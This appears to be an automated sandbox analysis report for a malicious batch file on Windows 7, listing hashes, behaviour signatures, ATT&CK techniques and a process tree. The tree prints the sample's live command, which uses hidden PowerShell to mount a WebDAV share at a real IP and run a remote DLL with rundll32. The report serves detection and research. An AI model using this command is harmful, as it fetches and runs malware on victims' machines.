8fb11a4140916bc1f5ea9bdb9723236bb019561c7db4d0948ae18120640b2dcb

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
14-07-2024 21:29

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General

Target

23968317472171130400.bat
Size

2KB
MD5

6ae5ea6cf69b9ddfd182826f1c9670c2
SHA1

64f786bb941d2dd49f3600b9882f01c3fee0bcb4
SHA256

8fb11a4140916bc1f5ea9bdb9723236bb019561c7db4d0948ae18120640b2dcb
SHA512

cc731a576c7a3d20b4cd57139ed0f9f3296ad409dfcc6b102fb2aa61452d448c0d0f3a5edd191150a6ab771225c739442a71a42be88091f21a5faa05b405b44e

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2076	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2076	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2076	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2600	wordpad.exe
2600	wordpad.exe
2600	wordpad.exe
2600	wordpad.exe
2600	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 2600	2308	cmd.exe	31
PID 2308 wrote to memory of 2600	2308	cmd.exe	31
PID 2308 wrote to memory of 2600	2308	cmd.exe	31
PID 2308 wrote to memory of 2076	2308	cmd.exe	32
PID 2308 wrote to memory of 2076	2308	cmd.exe	32
PID 2308 wrote to memory of 2076	2308	cmd.exe	32
PID 2076 wrote to memory of 2900	2076	powershell.exe	34
PID 2076 wrote to memory of 2900	2076	powershell.exe	34
PID 2076 wrote to memory of 2900	2076	powershell.exe	34
PID 2076 wrote to memory of 2768	2076	powershell.exe	35
PID 2076 wrote to memory of 2768	2076	powershell.exe	35
PID 2076 wrote to memory of 2768	2076	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\23968317472171130400.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\305.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2900
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\305.dll entry
    3⤵
    PID:2768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2076-23-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2076-24-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2308-18-0x00000000024F0000-0x00000000025F0000-memory.dmp

Filesize
1024KB

Download
memory/2308-17-0x00000000024F0000-0x00000000025F0000-memory.dmp

Filesize
1024KB

Download